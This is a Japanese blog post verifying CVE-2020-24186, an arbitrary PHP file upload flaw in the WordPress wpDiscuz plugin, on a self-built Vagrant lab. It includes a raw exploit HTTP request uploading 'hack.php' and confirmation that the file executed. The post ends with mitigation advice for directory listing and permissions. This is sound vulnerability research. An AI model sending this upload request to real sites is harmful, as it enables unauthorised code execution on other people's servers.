このブログは、昨年3月までN高等学校に潜んでいた株式会社Armorisの社員が書いています。
あるもりすぶろぐの内容は個人の意見です。
CVE-2020-24186の検証
今週のArmoris日記は現役高校生が書いているWindows10 記憶域プール編と検証の2本を公開しています。
検証には自身で管理する環境を使用し、自己責任でお願いします
今回の検証は以前のArmoris日記で検証したプラグインと同じものに存在する別の脆弱性です。
CVE-2020-24186は以前も検証を行ったWordPressのwpDiscuzというプラグインに存在する脆弱性です。この脆弱性はプラグインのコメントへの画像添付機能でファイルタイプチェックに不備があったことにより任意のファイルがアップロード可能というものです。
以前と同様に脆弱性の悪用はプラグインをインストールした際のデフォルト設定の状態で可能です。
影響を受けるバージョン:wpDiscuz 7.0.0 - 7.0.4
検証環境
検証に使用した環境と各種バージョンは以下のとおりです。
Name | Version |
---|---|
UbuntuServer | 20.04 |
wpDiscuz | 7.0.4 |
WordPress | 5.6 |
検証環境作成
まずはいつもの様にVagrantを使用してUbuntuServerとWordPressの環境を構築します。
$ cat Vagrantfile Vagrant.configure(2) do |config| config.vm.box = "generic/ubuntu2004" config.vm.provider "libvirt" config.vm.network "forwarded_port", guest: 80, host: 6525, host_ip: "172.20.100.120" end $ vagrant up
次に仮想環境のIPアドレスを確認してhostファイルを編集後にAnsibleを実行します。
$ vagrant ssh-config Host default HostName 192.168.121.185 User vagrant Port 22 UserKnownHostsFile /dev/null StrictHostKeyChecking no PasswordAuthentication no IdentityFile /home/ubuntu/CVE-2020-24186/.vagrant/machines/default/libvirt/private_key IdentitiesOnly yes LogLevel FATAL $ cat host [server] 192.168.121.185 ansible_ssh_user=vagrant ansible_ssh_private_key_file=./.vagrant/machines/default/libvirt/private_key ansible_python_interpreter=/usr/bin/python3 $ ansible-playbook -i host wp.yml -v
以下をクリックすると普段Armoris日記で検証用に環境構築をする際使用しているymlファイルが表示されます。
次にプラグインのzipファイルをダウンロードして展開後ディレクトリに配置します。
$ wget wget https://downloads.wordpress.org/plugin/wpdiscuz.7.0.4.zip $ sudo unzip wpdiscuz.7.0.4.zip $ sudo mv wpdiscuz /var/www/wordpress/wp-content/plugins/
WordPressをインストールウィザードに従ってセットアップし、プラグインを有効化します。
CVE-2020-24186はプラグインを有効にすることで脆弱性の再現が可能なため、検証環境の準備は完了です。
検証
現在Metasploitのペイロードも公開されている状態ですが、今回は手動でリクエストを送信して検証します。
URL先の情報を参考に以下のリクエストを作成し、送信します。
※以下のリクエストは一部削除を行なっています。
POST /wp-admin/admin-ajax.php HTTP/1.1 Host: 172.20.100.120:6525 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:83.0) Gecko/20100101 Firefox/83.0 Accept: */* Accept-Language: ja,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=---------------------------343722729311970070443768062787 Content-Length: 751 Origin: http://172.20.100.120:6525 DNT: 1 Connection: close Referer: http://172.20.100.120:6525/index.php/2021/01/15/hello-world/ Cookie: -----------------------------343722729311970070443768062787 Content-Disposition: form-data; name="action" wmuUploadFiles -----------------------------343722729311970070443768062787 Content-Disposition: form-data; name="wmu_nonce" dee5dc5b5f -----------------------------343722729311970070443768062787 Content-Disposition: form-data; name="wmuAttachmentsData" undefined -----------------------------343722729311970070443768062787 Content-Disposition: form-data; name="wmu_files[0]"; filename="hack.php" -----------------------------343722729311970070443768062787 Content-Disposition: form-data; name="postId" 1 -----------------------------343722729311970070443768062787--
実際にリクエスト送信後以下のようなURLにアクセスし、phpinfo
が実行されていることを確認しました。
URL: http://172.20.100.120:6525/wp-content/uploads/2021/01/hack-1610937150.731.php
URLからもわかるようにファイル名にはUnixタイムスタンプの一部が含まれる数字が追加されています。
攻撃者がこの脆弱性を悪用しようとすると、アップロードディレクトリの権限設定が適切に行われていない状態でアップロードしたファイル名が確認できることが条件になると推測されます。
ある程度攻撃者がアップロードした時間からファイル名を推測することは可能なようですが、推測可能な部分以外はブルートフォースを行うことになると思われます。
終わりに
今回の検証はArmoris日記でも何度か取り上げているファイルタイプのチェックミスによる任意ファイルのアップロードというものですが、プラグインの実装上実際の攻撃に使用するのはあまり現実的では無いことがわかります。
このことからApacheなどで適切にディレクトリの閲覧設定がされているかや、ディレクトリ自体の権限の設定など自分でもできる対策で攻撃を防げる場合もあることがわかります。
自分が管理するサーバー以外では絶対に試さないでください。
また、検証は自己責任で行ってください。